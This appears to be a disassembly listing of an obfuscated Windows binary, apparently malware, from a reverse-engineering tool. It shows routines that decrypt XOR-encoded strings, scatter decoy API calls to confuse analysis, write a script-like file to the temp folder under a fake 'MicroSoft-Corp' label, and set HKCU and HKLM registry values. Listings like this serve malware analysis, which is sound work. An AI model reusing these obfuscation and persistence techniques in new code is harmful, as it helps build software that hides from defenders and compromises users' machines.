		lea	eax, [ebp+var_2F43]
		push	eax
		push	[ebp+var_1F3C]
		call	sub_40C644
		add	esp, 8
		or	eax, eax
		jnz	short loc_4055F4
		lea	edi, [ebp+var_2F5D]
		lea	esi, byte_4412AC
		xor	ecx, ecx
		inc	ecx
		rep movsb
		push	[ebp+var_1F38]
		push	[ebp+arg_4]
		call	sub_40C138
		mov	[ebp+var_2F5C],	0F4h
		movzx	eax, [ebp+var_2F5C]
		imul	eax, 0D16h
		mov	[ebp+var_2F5C],	al
		xor	eax, eax
		inc	eax
		jmp	short loc_4055FB
; ---------------------------------------------------------------------------


loc_4055F4:				; CODE XREF: sub_405409+1ABj
		jmp	loc_405536
; ---------------------------------------------------------------------------


loc_4055F9:				; CODE XREF: sub_405409+175j
		xor	eax, eax


loc_4055FB:				; CODE XREF: sub_405409+D1j
					; sub_405409+128j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405409	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405600	proc near		; CODE XREF: sub_4056EE+607p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_11		= byte ptr -11h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		push	edi
		call	sub_40C218	; GetTickCount
		push	[ebp+arg_0]
		call	sub_40C3BC	; lstrlenA
		mov	[ebp+var_8], eax
		lea	edi, [ebp+var_11]
		lea	esi, a8x6d	; "8x6d"
		mov	ecx, 5
		rep movsb
		mov	edi, [ebp+var_8]
		shl	edi, 1
		add	edi, 8
		push	edi
		push	40h
		call	sub_40C2CC	; LocalAlloc
		mov	[ebp+var_C], eax
		mov	ebx, 5DB7h
		mov	eax, ebx
		add	eax, ebx
		mov	ebx, eax
		xor	ebx, ebx
		jmp	short loc_405667
; ---------------------------------------------------------------------------


loc_40564B:				; CODE XREF: sub_405600+6Aj
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+ebx]
		xor	eax, 71h
		or	eax, eax
		jz	short loc_405666
		mov	eax, ebx
		add	eax, [ebp+arg_0]
		movzx	edx, byte ptr [eax]
		xor	edx, 71h
		mov	[eax], dl


loc_405666:				; CODE XREF: sub_405600+57j
		inc	ebx


loc_405667:				; CODE XREF: sub_405600+49j
		cmp	ebx, [ebp+var_8]
		jb	short loc_40564B
		lea	edi, [ebp+var_16]
		lea	esi, aLw	; "Lw%$"
		mov	ecx, 5
		rep movsb
		mov	[ebp+var_2], 0
		jmp	short loc_4056DD
; ---------------------------------------------------------------------------


loc_405684:				; CODE XREF: sub_405600+E4j
		push	6
		push	offset aVVV	; "‚Ô‚Ä‚Ä"
		call	sub_4052CE
		mov	[ebp+var_1C], eax
		movzx	edi, [ebp+var_2]
		mov	esi, [ebp+arg_0]
		movzx	edi, byte ptr [esi+edi]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	esi, edx
		add	esi, 61h
		push	esi
		mov	eax, edi
		mov	ecx, 1Ah
		mov	edx, 4EC4EC4Fh
		mul	edx
		shr	edx, 3
		mov	[ebp+var_20], edx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp+var_C]
		push	edi
		mov	esi, [ebp+var_1C]
		push	esi
		push	edi
		call	sub_40C6B0
		add	esp, 1Ch
		inc	[ebp+var_2]


loc_4056DD:				; CODE XREF: sub_405600+82j
		movzx	eax, [ebp+var_2]
		cmp	eax, [ebp+var_8]
		jb	short loc_405684
		mov	eax, [ebp+var_C]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405600	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4056EE	proc near		; CODE XREF: sub_4063A9+135p

var_300B0	= dword	ptr -300B0h
var_300AC	= dword	ptr -300ACh
var_300A8	= dword	ptr -300A8h
var_300A1	= byte ptr -300A1h
var_300A0	= dword	ptr -300A0h
var_3009A	= word ptr -3009Ah
var_30098	= dword	ptr -30098h
var_30094	= dword	ptr -30094h
var_30090	= dword	ptr -30090h
var_3008C	= dword	ptr -3008Ch
var_30088	= dword	ptr -30088h
var_30084	= dword	ptr -30084h
var_3007F	= byte ptr -3007Fh
var_3007C	= byte ptr -3007Ch
var_30076	= word ptr -30076h
var_30074	= byte ptr -30074h
var_3006F	= byte ptr -3006Fh
var_30068	= word ptr -30068h
var_30066	= dword	ptr -30066h
var_30062	= byte ptr -30062h
var_3005A	= byte ptr -3005Ah
var_30054	= byte ptr -30054h
var_30053	= byte ptr -30053h
var_3004C	= word ptr -3004Ch
var_3004A	= byte ptr -3004Ah
var_30045	= byte ptr -30045h
var_30042	= word ptr -30042h
var_30040	= word ptr -30040h
var_3003E	= word ptr -3003Eh
var_3003B	= byte ptr -3003Bh
var_30031	= byte ptr -30031h
var_30030	= dword	ptr -30030h
var_30029	= byte ptr -30029h
var_3001F	= byte ptr -3001Fh
var_3001E	= word ptr -3001Eh
var_3001C	= dword	ptr -3001Ch
var_30018	= dword	ptr -30018h
var_30014	= dword	ptr -30014h
var_30010	= dword	ptr -30010h
var_3000C	= byte ptr -3000Ch
var_2000C	= dword	ptr -2000Ch
var_20008	= dword	ptr -20008h
var_20003	= byte ptr -20003h
var_10004	= dword	ptr -10004h
var_10000	= byte ptr -10000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 300B0h
		call	sub_40C118
		push	ebx
		push	esi
		push	edi
		call	sub_40C194	; GetCurrentThreadId
		and	[ebp+var_30018], 0
		lea	edi, [ebp+var_30045]
		lea	esi, aQ		; "q<"
		mov	ecx, 3
		rep movsb
		and	[ebp+var_2000C], 0
		and	[ebp+var_30014], 0
		lea	eax, [ebp+var_10004]
		push	eax
		push	[ebp+arg_4]
		call	sub_401AC1
		add	esp, 8
		mov	ebx, eax
		mov	[ebp+var_3001E], 1318h
		inc	[ebp+var_3001E]
		mov	eax, [ebp+var_10004]
		or	eax, eax
		jz	short loc_405762
		or	ebx, ebx
		jz	short loc_405762
		cmp	[ebp+arg_14], eax
		jb	short loc_405785


loc_405762:				; CODE XREF: sub_4056EE+69j
					; sub_4056EE+6Dj
		call	sub_40C188	; GetCurrentProcessId
		push	ebx
		call	sub_40C2D8	; LocalFree
		mov	[ebp+var_3007F], 58h
		sub	[ebp+var_3007F], 0B8h
		mov	[ebp+var_30018], 1


loc_405785:				; CODE XREF: sub_4056EE+72j
		push	[ebp+arg_C]
		call	sub_40C3BC	; lstrlenA
		mov	[ebp+var_30084], eax
		mov	eax, 64h
		mul	[ebp+var_10004]
		mov	[ebp+var_30088], eax
		mov	edi, [ebp+var_30084]
		imul	edi, [ebp+var_30084], 32h
		mov	esi, [ebp+var_30088]
		lea	edi, [esi+edi+1000h]
		push	edi
		push	40h
		call	sub_40C2CC	; LocalAlloc
		mov	[ebp+var_20008], eax
		call	sub_40C218	; GetTickCount
		lea	edi, [ebp+var_3004A]
		lea	esi, aR1	; "R1|`"
		mov	ecx, 5
		rep movsb
		mov	ax, word_4412BF
		mov	[ebp+var_3004C], ax
		push	[ebp+arg_0]
		push	104h
		call	sub_40C20C	; GetTempPathA
		call	sub_40C218	; GetTickCount
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_3008C], eax
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_405811:				; CODE XREF: sub_4056EE+128j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_405811
		mov	edi, eax
		mov	esi, 12h
		sub	esi, dword_441290
		push	esi
		mov	esi, [ebp+var_3008C]
		add	esi, edi
		push	esi
		call	sub_401719
		add	esp, 8
		call	sub_40C1B8	; RtlGetLastWin32Error
		push	4
		push	offset aI	; "‰ÏÓÊ"
		call	sub_4052CE
		add	esp, 8
		push	eax
		push	[ebp+arg_0]
		call	sub_40C6D4
		add	esp, 8
		lea	edi, [ebp+var_30053]
		lea	esi, a_mU2	; "%.m%u2"
		mov	ecx, 7
		rep movsb
		lea	edi, [ebp+var_30054]
		lea	esi, byte_4412C8
		mov	ecx, 1
		rep movsb
		push	6
		push	offset aIS	; "›ÏÓÊË™"
		call	sub_4052CE
		add	esp, 8
		push	eax
		push	[ebp+var_20008]
		call	sub_404A6B
		add	esp, 8
		call	sub_40C1B8	; RtlGetLastWin32Error
		push	6
		push	offset aIS_0	; "›ÏÂÆÃ™"
		call	sub_4052CE
		add	esp, 8
		push	eax
		push	[ebp+var_20008]
		call	sub_404A6B
		add	esp, 8
		call	sub_40C2B4	; IsDebuggerPresent
		push	13h
		push	offset aISvVIiS	; "›ÓÎÓË™‚Ô‚Ò›ˆÓÎÓË™"
		call	sub_4052CE
		add	esp, 8
		push	[ebp+arg_1C]
		push	offset aMicrosoftCorp ;	"MicroSoft-Corp"
		push	eax
		lea	edi, [ebp+var_20003]
		push	edi
		call	sub_40C6B0
		add	esp, 10h
		mov	[ebp+var_3001F], 95h
		add	[ebp+var_3001F], 11h
		lea	eax, [ebp+var_20003]
		push	eax
		push	[ebp+var_20008]
		call	sub_404A6B
		add	esp, 8
		push	7
		push	offset aIiS	; "›ˆÏÂÆÃ™"
		call	sub_4052CE
		add	esp, 8
		push	eax
		push	[ebp+var_20008]
		call	sub_404A6B
		add	esp, 8
		call	sub_40C224	; GetVersion
		push	6
		push	offset aIS_1	; "›ÅÈÃÞ™"
		call	sub_4052CE
		add	esp, 8
		push	eax
		push	[ebp+var_20008]
		call	sub_404A6B
		add	esp, 8
		lea	edi, [ebp+var_3005A]
		lea	esi, aMZW	; "M=z>w"
		mov	ecx, 6
		rep movsb
		lea	edi, [ebp+var_30062]
		lea	esi, aRIAb	; "r I^^€b"
		mov	ecx, 8
		rep movsb
		push	5
		push	offset aVif	; "Á‚‰”Ò"
		call	sub_4052CE
		add	esp, 8
		mov	[ebp+var_30090], eax
		call	sub_40C698
		mov	ecx, 3E8h
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_30090]
		push	[ebp+var_30090]
		lea	edi, [ebp+var_30029]
		push	edi
		call	sub_40C6B0
		add	esp, 0Ch
		mov	[ebp+var_30030], 46Bh
		sub	[ebp+var_30030], 6AF4h
		push	2Ah
		push	offset word_44625E
		call	sub_4052CE
		add	esp, 8
		lea	edi, [ebp+var_30029]
		push	edi
		push	[ebp+arg_8]
		push	eax
		lea	edi, [ebp+var_20003]
		push	edi
		call	sub_40C6B0
		add	esp, 10h
		call	sub_40C224	; GetVersion
		lea	eax, [ebp+var_20003]
		push	eax
		push	[ebp+var_20008]
		call	sub_404A6B
		add	esp, 8
		mov	eax, dword_4412D7
		mov	[ebp+var_30066], eax
		push	2Dh
		push	offset aIZEEzAvAzAAsiS ; "›ÎÉ×ÒÓ‡ÓÞך…ÂÃÎÓ…‡ÑÆËÒš€‚Ò€‡ÉÆÊš€Æ€™"...
		call	sub_4052CE
		add	esp, 8
		mov	[ebp+var_30094], eax
		call	sub_40C698
		mov	ecx, 9
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 14h
		push	edi
		mov	edi, [ebp+var_30094]
		push	[ebp+var_30094]
		lea	edi, [ebp+var_20003]
		push	edi
		call	sub_40C6B0
		add	esp, 0Ch
		call	sub_40C2B4	; IsDebuggerPresent
		lea	eax, [ebp+var_20003]
		push	eax
		push	[ebp+var_20008]
		call	sub_404A6B
		add	esp, 8
		call	sub_40C218	; GetTickCount
		cmp	[ebp+var_30018], 0
		jnz	loc_405D95
		mov	[ebp+var_30031], 2Ah
		add	[ebp+var_30031], 23h
		cmp	[ebp+arg_18], 0
		jz	loc_405BFD
		mov	[ebp+var_3009A], 7904h
		add	[ebp+var_3009A], 1B64h
		and	[ebp+var_30098], 0
		jmp	loc_405BE0
; ---------------------------------------------------------------------------


loc_405AB9:				; CODE XREF: sub_4056EE+4FEj
		call	sub_40C2B4	; IsDebuggerPresent
		mov	[ebp+var_10000], 0
		mov	[ebp+var_300A1], 9Ch
		add	[ebp+var_300A1], 60h
		and	[ebp+var_300A0], 0
		jmp	loc_405B82
; ---------------------------------------------------------------------------


loc_405ADF:				; CODE XREF: sub_4056EE+49Ej
		call	sub_40C194	; GetCurrentThreadId
		mov	eax, [ebp+var_30098]
		add	eax, [ebp+var_300A0]
		cmp	eax, [ebp+var_10004]
		jnb	loc_405B92
		mov	[ebp+var_300A8], 7D75h
		sub	[ebp+var_300A8], 7DFBh
		push	6
		push	offset aVVV	; "‚Ô‚Ä‚Ä"
		call	sub_4052CE
		mov	[ebp+var_300AC], eax
		mov	edi, [ebp+var_30098]
		add	edi, [ebp+var_300A0]
		movzx	edi, byte ptr [ebx+edi]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	esi, edx
		add	esi, 61h
		push	esi
		mov	eax, edi
		mov	ecx, 1Ah
		mov	edx, 4EC4EC4Fh
		mul	edx
		shr	edx, 3
		mov	[ebp+var_300B0], edx
		mov	edi, edx
		add	edi, 61h
		push	edi
		lea	edi, [ebp+var_10000]
		push	edi
		mov	edi, [ebp+var_300AC]
		push	edi
		lea	edi, [ebp+var_10000]
		push	edi
		call	sub_40C6B0
		add	esp, 1Ch
		inc	[ebp+var_300A0]


loc_405B82:				; CODE XREF: sub_4056EE+3ECj
		cmp	[ebp+var_300A0], 80h
		jb	loc_405ADF


loc_405B92:				; CODE XREF: sub_4056EE+408j
		push	30h
		push	offset aIZEEzAvAzAvVAs ; "›ÎÉ×ÒÓ‡ÓÞך…ÂÃÎÓ…‡ÑÆËÒš€‚Ô€‡ÉÆÊš€‚Ô‚"...
		call	sub_4052CE
		push	[ebp+var_2000C]
		push	[ebp+arg_10]
		lea	edi, [ebp+var_10000]
		push	edi
		push	eax
		lea	edi, [ebp+var_20003]
		push	edi
		call	sub_40C6B0
		lea	eax, [ebp+var_20003]
		push	eax
		push	[ebp+var_20008]
		call	sub_404A6B
		add	esp, 24h
		add	[ebp+var_30098], 80h
		inc	[ebp+var_2000C]


loc_405BE0:				; CODE XREF: sub_4056EE+3C6j
		mov	eax, [ebp+var_10004]
		cmp	[ebp+var_30098], eax
		jb	loc_405AB9
		mov	[ebp+var_30014], eax
		jmp	loc_405D95
; ---------------------------------------------------------------------------


loc_405BFD:				; CODE XREF: sub_4056EE+3A7j
		call	sub_40C224	; GetVersion
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_10004], eax
		jmp	loc_405D71
; ---------------------------------------------------------------------------


loc_405C10:				; CODE XREF: sub_4056EE+6A1j
		call	sub_40C1B8	; RtlGetLastWin32Error
		cmp	[ebp+var_10000], 0
		jz	loc_405D71
		mov	dword ptr [ebp-3009Ch],	77B9h
		sub	dword ptr [ebp-3009Ch],	0C7Eh
		mov	eax, [ebp+arg_14]
		add	eax, 0C800h
		cmp	[ebp+var_10004], eax
		jnb	loc_405D95
		call	sub_40C2B4	; IsDebuggerPresent
		mov	eax, [ebp+var_10004]
		mov	[ebp+var_30014], eax
		push	3
		push	offset aV	; "‚ÔÛ"
		call	sub_4052CE
		push	[ebp+arg_C]
		push	eax
		lea	edi, [ebp+var_3000C]
		push	edi
		call	sub_40C6B0
		add	esp, 14h
		mov	word ptr [ebp+var_30098+2], 1740h
		movzx	eax, word ptr [ebp+var_30098+2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	word ptr [ebp+var_30098+2], ax
		lea	ecx, [ebp+var_3000C]
		or	eax, 0FFFFFFFFh


loc_405CA0:				; CODE XREF: sub_4056EE+5B7j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_405CA0
		mov	edi, eax
		mov	word ptr [ebp+var_300A8+2], di
		mov	word ptr [ebp+var_300A0+2], 6946h
		inc	word ptr [ebp+var_300A0+2]
		lea	eax, [ebp+var_10000]
		push	eax
		movzx	eax, word ptr [ebp+var_300A8+2]
		lea	eax, [ebp+eax+var_3000C]
		push	eax
		call	sub_40C138
		lea	edi, [ebp+var_300B0+3]
		lea	esi, aFBe	; "F#=e "
		mov	ecx, 7
		rep movsb
		lea	eax, [ebp+var_3000C]
		push	eax
		call	sub_405600
		add	esp, 4
		mov	[ebp+var_30010], eax
		push	30h
		push	offset aIZEEzAvAzAvVAs ; "›ÎÉ×ÒÓ‡ÓÞך…ÂÃÎÓ…‡ÑÆËÒš€‚Ô€‡ÉÆÊš€‚Ô‚"...
		call	sub_4052CE
		add	esp, 8
		push	[ebp+var_2000C]
		push	[ebp+arg_10]
		push	[ebp+var_30010]
		push	eax
		lea	edi, [ebp+var_20003]
		push	edi
		call	sub_40C6B0
		add	esp, 14h
		call	sub_40C224	; GetVersion
		lea	eax, [ebp+var_20003]
		push	eax
		push	[ebp+var_20008]
		call	sub_404A6B
		add	esp, 8
		call	sub_40C188	; GetCurrentProcessId
		push	[ebp+var_30010]
		call	sub_40C2D8	; LocalFree
		mov	dword ptr [ebp-300A4h],	7098h
		inc	dword ptr [ebp-300A4h]
		inc	[ebp+var_2000C]


loc_405D71:				; CODE XREF: sub_4056EE+51Dj
					; sub_4056EE+52Ej
		lea	eax, [ebp+var_10000]
		push	eax
		push	[ebp+var_10004]
		push	ebx
		call	sub_401C5D
		add	esp, 0Ch
		mov	[ebp+var_10004], eax
		or	eax, eax
		jnz	loc_405C10


loc_405D95:				; CODE XREF: sub_4056EE+38Fj
					; sub_4056EE+50Aj ...
		push	1Eh
		push	offset aIZEEzAas ; "›ÎÉ×ÒÓ‡ÓÞך…ÔÒÅÊÎÓ…‡ÑÆËÒš€€™"
		call	sub_4052CE
		push	eax
		push	[ebp+var_20008]
		call	sub_404A6B
		push	7
		push	offset aIiS_0	; "›ˆÁÈÕÊ™"
		call	sub_4052CE
		push	eax
		push	[ebp+var_20008]
		call	sub_404A6B
		call	sub_40C1F4	; GetProcessHeap
		push	8
		push	offset aIS_2	; "›ÔÄÕÎ×Ó™"
		call	sub_4052CE
		push	eax
		push	[ebp+var_20008]
		call	sub_404770
		mov	ax, word_4412E2
		mov	[ebp+var_30068], ax
		lea	edi, [ebp+var_3006F]
		lea	esi, aYmkm	; " ymkm&"
		mov	ecx, 7
		rep movsb
		push	6
		push	offset aVVix	; "‚Ä‚‰•Ò"
		call	sub_4052CE
		mov	[ebp+var_30098], eax
		call	sub_40C698
		mov	[ebp-3009Ch], eax
		call	sub_40C698
		mov	ecx, 63h
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp-3009Ch]
		mov	eax, edi
		mov	ecx, 14h
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp+var_30098]
		push	edi
		lea	edi, [ebp+var_3003B]
		push	edi
		call	sub_40C6B0
		call	sub_40C1B8	; RtlGetLastWin32Error
		push	0Eh
		push	offset aZvPo	; "ÁÒÉÄÓÎÈɇ‚ÔŽÜ"
		call	sub_4052CE
		lea	edi, [ebp+var_3003B]
		push	edi
		push	eax
		lea	edi, [ebp+var_20003]
		push	edi
		call	sub_40C6B0
		call	sub_40C224	; GetVersion
		lea	eax, [ebp+var_20003]
		push	eax
		push	[ebp+var_20008]
		call	sub_404770
		call	sub_40C1F4	; GetProcessHeap
		push	15h
		push	offset aIvIPo	; "ÃÈÄÒÊÂÉÓ‰‚Ô‰ÔÒÅÊÎÓŽœ"
		call	sub_4052CE
		lea	edi, [ebp+var_30029]
		push	edi
		push	eax
		lea	edi, [ebp+var_20003]
		push	edi
		call	sub_40C6B0
		lea	edi, [ebp+var_30074]
		lea	esi, aWG	; "%W*ƒ"
		mov	ecx, 5
		rep movsb
		lea	eax, [ebp+var_20003]
		push	eax
		push	[ebp+var_20008]
		call	sub_404770
		call	sub_40C218	; GetTickCount
		push	1
		push	offset byte_44619D
		call	sub_4052CE
		push	eax
		push	[ebp+var_20008]
		call	sub_404770
		push	16h
		push	offset word_446186
		call	sub_4052CE
		mov	[ebp+var_300A0], eax
		call	sub_40C698
		mov	ecx, 3E8h
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 2710h
		push	edi
		lea	edi, [ebp+var_3003B]
		push	edi
		mov	edi, [ebp+var_300A0]
		push	edi
		lea	edi, [ebp+var_20003]
		push	edi
		call	sub_40C6B0
		call	sub_40C218	; GetTickCount
		lea	eax, [ebp+var_20003]
		push	eax
		push	[ebp+var_20008]
		call	sub_404770
		mov	ax, word_4412F0
		mov	[ebp+var_30076], ax
		push	9
		push	offset aIiS_1	; "›ˆÔÄÕÎ×Ó™"
		call	sub_4052CE
		push	eax
		push	[ebp+var_20008]
		call	sub_404A6B
		mov	[ebp+var_3003E], 69FDh
		inc	[ebp+var_3003E]
		push	7
		push	offset aIiS_2	; "›ˆÅÈÃÞ™"
		call	sub_4052CE
		push	eax
		push	[ebp+var_20008]
		call	sub_404A6B
		call	sub_40C2B4	; IsDebuggerPresent
		push	7
		push	offset aIiS_3	; "›ˆÏÓÊË™"
		call	sub_4052CE
		push	eax
		push	[ebp+var_20008]
		call	sub_40C6D4
		call	sub_40C1B8	; RtlGetLastWin32Error
		push	[ebp+arg_0]
		call	sub_40352B
		add	esp, 0E4h
		mov	[ebp+var_30040], 3406h
		add	[ebp+var_30040], 797Bh
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		push	[ebp+arg_0]
		call	sub_40C2FC	; CreateFileA
		mov	[ebp+var_3001C], eax
		mov	[ebp+var_30042], 3BB2h
		sub	[ebp+var_30042], 6434h
		push	[ebp+var_20008]
		call	sub_40C3BC	; lstrlenA
		push	0
		lea	edi, [ebp+var_2000C]
		push	edi
		push	eax
		push	[ebp+var_20008]
		push	[ebp+var_3001C]
		call	sub_40C3B0	; WriteFile
		lea	edi, [ebp+var_3007C]
		lea	esi, aTcurf	; "TcUrf"
		mov	ecx, 3
		rep movsw
		push	[ebp+var_3001C]
		call	sub_40C1DC	; CloseHandle
		push	[ebp+var_20008]
		call	sub_40C2D8	; LocalFree
		cmp	[ebp+var_30018], 0
		jnz	short loc_406071
		push	ebx
		call	sub_40C2D8	; LocalFree
		jmp	short loc_406076
; ---------------------------------------------------------------------------


loc_406071:				; CODE XREF: sub_4056EE+979j
		or	eax, 0FFFFFFFFh
		jmp	short loc_40607C
; ---------------------------------------------------------------------------


loc_406076:				; CODE XREF: sub_4056EE+981j
		mov	eax, [ebp+var_30014]


loc_40607C:				; CODE XREF: sub_4056EE+986j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4056EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406081	proc near		; CODE XREF: sub_4063A9:loc_40649Dp

var_2120	= byte ptr -2120h
var_211F	= byte ptr -211Fh
var_2118	= byte ptr -2118h
var_1119	= byte ptr -1119h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_101		= byte ptr -101h
var_100		= byte ptr -100h

		push	ebp
		mov	ebp, esp
		mov	eax, 2120h
		call	sub_40C118
		push	ebx
		push	esi
		push	edi
		mov	ebx, 6603h
		inc	ebx
		mov	ebx, 6AC5h
		mov	eax, ebx
		add	eax, ebx
		mov	ebx, eax
		mov	eax, dword_4412F8
		mov	[ebp+var_10C], eax
		and	[ebp+var_108], 0
		mov	[ebp+var_101], 0
		jmp	loc_4061EB
; ---------------------------------------------------------------------------


loc_4060C0:				; CODE XREF: sub_406081+172j
		mov	byte ptr [ebp+var_118+3], 22h
		movzx	eax, byte ptr [ebp+var_118+3]
		imul	eax, 51BCh
		mov	byte ptr [ebp+var_118+3], al
		push	44h
		push	offset byte_446127
		call	sub_4052CE
		movzx	edi, [ebp+var_101]
		push	edi
		push	eax
		lea	edi, [ebp+var_100]
		push	edi
		call	sub_40C6B0
		lea	edi, [ebp+var_11C+1]
		lea	esi, aPxpwz	; "pxPwz"
		mov	ecx, 3
		rep movsw
		push	4
		push	offset aCscc	; "–‘—–"
		call	sub_4052CE
		push	4
		push	4
		lea	edi, [ebp+var_108]
		push	edi
		push	eax
		lea	edi, [ebp+var_100]
		push	edi
		push	80000001h
		call	sub_4015C0
		call	sub_40C1F4	; GetProcessHeap
		push	4
		push	offset aCscc	; "–‘—–"
		call	sub_4052CE
		push	4
		push	4
		lea	edi, [ebp+var_108]
		push	edi
		push	eax
		lea	edi, [ebp+var_100]
		push	edi
		push	80000002h
		call	sub_4015C0
		push	4Dh
		push	offset dword_4460D4
		call	sub_4052CE
		movzx	edi, [ebp+var_101]
		push	edi
		push	eax
		lea	edi, [ebp+var_100]
		push	edi
		call	sub_40C6B0
		push	4
		push	offset aCscc	; "–‘—–"
		call	sub_4052CE
		push	4
		push	4
		lea	edi, [ebp+var_108]
		push	edi
		push	eax
		lea	edi, [ebp+var_100]
		push	edi
		push	80000002h
		call	sub_4015C0
		call	sub_40C188	; GetCurrentProcessId
		push	4
		push	offset aCscc	; "–‘—–"
		call	sub_4052CE
		push	4
		push	4
		lea	edi, [ebp+var_108]
		push	edi
		push	eax
		lea	edi, [ebp+var_100]
		push	edi
		push	80000001h
		call	sub_4015C0
		add	esp, 0A8h
		add	[ebp+var_101], 1


loc_4061EB:				; CODE XREF: sub_406081+3Aj
		mov	al, [ebp+var_101]
		cmp	al, 5
		jb	loc_4060C0
		call	sub_40C224	; GetVersion
		cmp	eax, 80000000h
		jb	short loc_406267
		call	sub_40C224	; GetVersion
		push	4Ch
		push	offset byte_446087
		call	sub_4052CE
		mov	[ebp+var_118], eax
		push	10h
		push	offset word_446076
		call	sub_4052CE
		mov	[ebp+var_11C], eax
		push	3
		push	offset word_446072
		call	sub_4052CE
		push	1
		mov	edi, dword_44128C
		add	edi, 2
		push	edi
		push	eax
		mov	edi, [ebp+var_11C]
		push	edi
		mov	edi, [ebp+var_118]
		push	edi
		push	80000003h
		call	sub_4015C0
		add	esp, 30h
		jmp	loc_406301
; ---------------------------------------------------------------------------


loc_406267:				; CODE XREF: sub_406081+182j
		mov	ax, word_441302
		mov	word ptr [ebp+var_11C+2], ax
		lea	edi, [ebp+var_211F]
		lea	esi, a4VVx	; "4:V<vX"
		mov	ecx, 7
		rep movsb
		lea	eax, [ebp+var_1119]
		push	eax
		call	sub_405217
		call	sub_40C2B4	; IsDebuggerPresent
		push	59h
		push	offset dword_446018
		call	sub_4052CE
		lea	edi, [ebp+var_1119]
		push	edi
		push	eax
		lea	edi, [ebp+var_2118]
		push	edi
		call	sub_40C6B0
		call	sub_40C188	; GetCurrentProcessId
		and	[ebp+var_118], 0
		push	0Ch
		push	offset aI_0	; "ÎÂß×ËÈÕ‰ÂßÂ"
		call	sub_4052CE
		push	4
		push	4
		lea	edi, [ebp+var_118]
		push	edi
		push	eax
		lea	edi, [ebp+var_2118]
		push	edi
		push	80000003h
		call	sub_4015C0
		add	esp, 38h
		lea	edi, [ebp+var_2120]
		lea	esi, byte_44130B
		xor	ecx, ecx
		inc	ecx
		rep movsb


loc_406301:				; CODE XREF: sub_406081+1E1j
		push	3Bh
		push	offset byte_445FCF
		call	sub_4052CE
		mov	[ebp+var_118], eax
		push	11h
		push	offset byte_445FBD
		call	sub_4052CE
		push	4
		push	4
		lea	edi, [ebp+var_108]
		push	edi
		push	eax
		mov	edi, [ebp+var_118]
		push	edi
		push	80000001h
		call	sub_4015C0
		mov	eax, dword_44130C
		mov	[ebp+var_110], eax
		push	33h
		push	offset byte_445F89
		call	sub_4052CE
		push	1
		push	0
		push	offset byte_446481
		push	offset byte_446481
		push	eax
		push	80000001h
		call	sub_4015C0
		mov	eax, dword_441310
		mov	[ebp+var_114], eax
		push	3Bh
		push	offset byte_445F4D
		call	sub_4052CE
		push	1
		push	0
		push	offset byte_446481
		push	offset byte_446481
		push	eax
		push	80000001h
		call	sub_4015C0
		add	esp, 68h
		call	sub_40C1F4	; GetProcessHeap
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406081	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4063A9	proc near		; CODE XREF: sub_4096E4+270p
					; sub_4096E4+549p ...

var_3AA		= word ptr -3AAh
var_3A8		= dword	ptr -3A8h
var_3A1		= byte ptr -3A1h
var_29D		= byte ptr -29Dh
var_29A		= word ptr -29Ah
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_28D		= byte ptr -28Dh
var_288		= byte ptr -288h
var_283		= byte ptr -283h
var_27D		= byte ptr -27Dh
var_278		= dword	ptr -278h
var_274		= dword	ptr -274h
var_270		= dword	ptr -270h
var_26C		= dword	ptr -26Ch
var_265		= byte ptr -265h
var_264		= dword	ptr -264h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_250		= byte ptr -250h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_11C		= dword	ptr -11Ch
var_118		= word ptr -118h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 3ACh
		push	ebx
		push	esi
		push	edi
		call	sub_40C224	; GetVersion
		and	[ebp+var_14C], 0
		xor	ebx, ebx
		lea	edi, [ebp+var_27D]
		lea	esi, aGf	; "+GF "
		mov	ecx, 5
		rep movsb
		push	offset dword_441298
		call	sub_40C290	; InterlockedIncrement
